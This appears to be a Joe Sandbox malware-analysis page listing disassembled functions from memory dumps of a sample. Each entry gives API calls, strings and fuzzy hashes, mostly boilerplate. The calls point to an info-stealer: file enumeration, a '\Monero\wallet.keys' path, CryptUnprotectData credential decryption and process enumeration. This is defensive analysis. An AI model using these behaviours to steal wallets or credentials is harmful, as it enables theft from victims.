Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: x?$)7Om$.O{$56q$B-_]$aK$$bC6
API String ID: 0-3626200227
Opcode ID: e5a5f4263d87aa4d47923948e17f665903c359c4b486440f1af3cbfcf7f4a1a2
Instruction ID: 01637024605e6c499599a36403313f64770846c22f4a60e0ed3711f1176c2ffd
Opcode Fuzzy Hash: e5a5f4263d87aa4d47923948e17f665903c359c4b486440f1af3cbfcf7f4a1a2
Instruction Fuzzy Hash: 58B206F35086049FE3046F2DEC8567AFBEAEF94720F1A493DEAC483744EA3558058697

Function 0094E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00960D73), ref: 0094E4A2
StrCmpCA.SHLWAPI(?,009614F8), ref: 0094E4F2
StrCmpCA.SHLWAPI(?,009614FC), ref: 0094E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0094EBDF

Strings

\*.*, xrefs: 0094E44D

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 3ed7bd24a9fb9aca9c592fc3d3feb1dc3de13b7de295e9f90259d9f0396e8eac
Instruction ID: 0c3fb15cc609d0e6cf4ae2baaa2ea016fb791da1fdbd62ae6be1014fcf9a6569
Opcode Fuzzy Hash: 3ed7bd24a9fb9aca9c592fc3d3feb1dc3de13b7de295e9f90259d9f0396e8eac
Instruction Fuzzy Hash: B31220719101189ADB18FB61DCA6FED7338BFD4301F4046A9B90A96091EF346F4DCB9A

Function 00D0BA07 Relevance: 9.1, Strings: 6, Instructions: 1642COMMON

Download Yara Rule

Strings

a}w, xrefs: 00D0BAB3
)/}, xrefs: 00D0C832
{Nm~, xrefs: 00D0BD05
5KYs, xrefs: 00D0BEE0
`H+, xrefs: 00D0BB1A
*q36, xrefs: 00D0CCA3

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *q36$5KYs$`H+$a}w${Nm~$)/}
API String ID: 0-3751471903
Opcode ID: d39dcef24c01c37899883d5f82dcb7f241c90607bde4e72bf3ae636a69f72b2f
Instruction ID: 404710ec8f9f25d53c42e05d530eba8152343d4e0e946712523704d923679270
Opcode Fuzzy Hash: d39dcef24c01c37899883d5f82dcb7f241c90607bde4e72bf3ae636a69f72b2f
Instruction Fuzzy Hash: 60B227F360C204AFE7046E2DEC85A7AFBE9EF94720F16493DE6C5C3744EA3558018696

Function 00D083F6 Relevance: 9.1, Strings: 6, Instructions: 1571COMMON

Download Yara Rule

Strings

BWw{, xrefs: 00D096F0
XEI_, xrefs: 00D09686
eH8T, xrefs: 00D09600
(/>, xrefs: 00D0957C
(w[, xrefs: 00D08CA6
K|;, xrefs: 00D08A8F

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (w[$(/>$BWw{$XEI_$eH8T$K|;
API String ID: 0-1985316531
Opcode ID: 62aa3e04ccdfc2408b56b9cce6a74a5ad29bf32e1c0408dcabf73c712725460c
Instruction ID: d37bff0887f844bf09b8a0253ca215cdd49f02af7f9ab41c1d9a50b332f14d79
Opcode Fuzzy Hash: 62aa3e04ccdfc2408b56b9cce6a74a5ad29bf32e1c0408dcabf73c712725460c
Instruction Fuzzy Hash: E5B2D5F3A0C2009FE704AE2DEC8567ABBE5EF94720F1A493DEAC4C7344E63558158697

Function 00D09E54 Relevance: 7.9, Strings: 5, Instructions: 1631COMMON

Download Yara Rule

Strings

=J__, xrefs: 00D0A8EA
g|, xrefs: 00D0A5F3
>RCG, xrefs: 00D0B114
AJ__, xrefs: 00D0A8EF
Tt_K, xrefs: 00D0A9C6

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =J__$>RCG$AJ__$Tt_K$g|
API String ID: 0-4068420118
Opcode ID: e380497b39c13959b3da1faa7fe1b714c958d346e69ce8c4ebb95326f48592fb
Instruction ID: 00384d1b6fc9e79c0f8e68be35fbed0a63c001d0bccca03acd6fc34cb6e94005
Opcode Fuzzy Hash: e380497b39c13959b3da1faa7fe1b714c958d346e69ce8c4ebb95326f48592fb
Instruction Fuzzy Hash: 53B25AF36082049FE704AE2DEC8567ABBE6EFD4720F1A463DE6C4C7744E93598058687

Function 0094C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0094C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0094C87C
lstrcat.KERNEL32(?,00960B46), ref: 0094C943
lstrcat.KERNEL32(?,00960B47), ref: 0094C957
lstrcat.KERNEL32(?,00960B4E), ref: 0094C978

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 25f5c87a2433559fc2260da43a27ab1fd4a4ba8febdc59b59d3e072be6934848
Instruction ID: 41fdbc3cb3e480d7f8cb2f23fd98cfbf8dc767d2d6f134337d7418785b3ff837
Opcode Fuzzy Hash: 25f5c87a2433559fc2260da43a27ab1fd4a4ba8febdc59b59d3e072be6934848
Instruction Fuzzy Hash: 114182B590420AEFDB10DFA0DC89FEEB7B8BB44304F1045A9E509A7280DB745A84CF91

Function 00947240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0094724D
RtlAllocateHeap.NTDLL(00000000), ref: 00947254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00947281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 009472A4
LocalFree.KERNEL32(?), ref: 009472AE

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0c437e5c47191889fa37877743aa1202946838a719817a53ec5c8abdb9bb5c27
Instruction ID: 4114664f9fd2463af334911a28daf4c23dd163ea171af9501b37738f599c5941
Opcode Fuzzy Hash: 0c437e5c47191889fa37877743aa1202946838a719817a53ec5c8abdb9bb5c27
Instruction Fuzzy Hash: A9010CB5A40208BBEB10DFD4CD4AF9EB7B8AB44B00F104555FB05AB2D0DAB4AA00CB65

Function 00959600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0095961E
Process32First.KERNEL32(00960ACA,00000128), ref: 00959632
Process32Next.KERNEL32(00960ACA,00000128), ref: 00959647
StrCmpCA.SHLWAPI(?,00000000), ref: 0095965C
CloseHandle.KERNEL32(00960ACA), ref: 0095967A

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 919684d6fa0ee1b890d9904c475058f83d6151f611524912308a4e4fd9e9e65d
Instruction ID: 909d5be1c90624232483a44d9aa82bac32091d10c18a3cd464da330cb1036e60
Opcode Fuzzy Hash: 919684d6fa0ee1b890d9904c475058f83d6151f611524912308a4e4fd9e9e65d
Instruction Fuzzy Hash: A4011E75A01208EBEB14DFA5DD58BEDB7F8EB48301F104189A906A7250DB349F48DF51

Function 00958680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,009605B7), ref: 009586CA
Process32First.KERNEL32(?,00000128), ref: 009586DE
Process32Next.KERNEL32(?,00000128), ref: 009586F3

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

CloseHandle.KERNEL32(?), ref: 00958761

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 26b544374750179e6aeac74d892ba4aa0a74eaa124b89cd32f32aa5e63cc81dd
Instruction ID: e9138cfeaea92e117e4248d1ef7d7479bb9a4848b08f27b2548fede924a44a95
Opcode Fuzzy Hash: 26b544374750179e6aeac74d892ba4aa0a74eaa124b89cd32f32aa5e63cc81dd
Instruction Fuzzy Hash: 2D316D71901218ABDB24DF52CC51FEEB778FB88701F104299F90AA21A0DF306E49CFA5

Function 00958EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00945184,40000001,00000000,00000000,?,00945184), ref: 00958EC0

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: a0b94971feff8753a1a9f7cbf0cf0df4eb76ec9417987068cbce27eced6dfea5
Instruction ID: 4ee1434e2efcf8b5af0557d0d086c17b5edbafe451805e6c784c669571a38f7c
Opcode Fuzzy Hash: a0b94971feff8753a1a9f7cbf0cf0df4eb76ec9417987068cbce27eced6dfea5
Instruction Fuzzy Hash: 67111870200208BFDB00CF65DC89FAB33A9AF89305F109848FD1A9B250DB35EC49DBA0

Function 00949AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00944EEE,00000000,00000000), ref: 00949AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00944EEE,00000000,?), ref: 00949B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00944EEE,00000000,00000000), ref: 00949B2A
LocalFree.KERNEL32(?,?,?,?,00944EEE,00000000,?), ref: 00949B3F

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: d5cbe5be3fab7a918a2dc6d187c57bfbf128afbd556cce2309a4c69d3f0d4662
Instruction ID: b9453c2647954fbce20a8c2cc65fc1dc0ada1a6dc9274b5d8bbf6f7a9efd3460
Opcode Fuzzy Hash: d5cbe5be3fab7a918a2dc6d187c57bfbf128afbd556cce2309a4c69d3f0d4662
Instruction Fuzzy Hash: 9011A4B4240208AFEB10CF64DC95FAA77B9FB89700F208059FA159B390C775A901CB50

Function 00957980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00960E00,00000000,?), ref: 009579B0
RtlAllocateHeap.NTDLL(00000000), ref: 009579B7
GetLocalTime.KERNEL32(?,?,?,?,?,00960E00,00000000,?), ref: 009579C4
wsprintfA.USER32 ref: 009579F3

Memory Dump Source

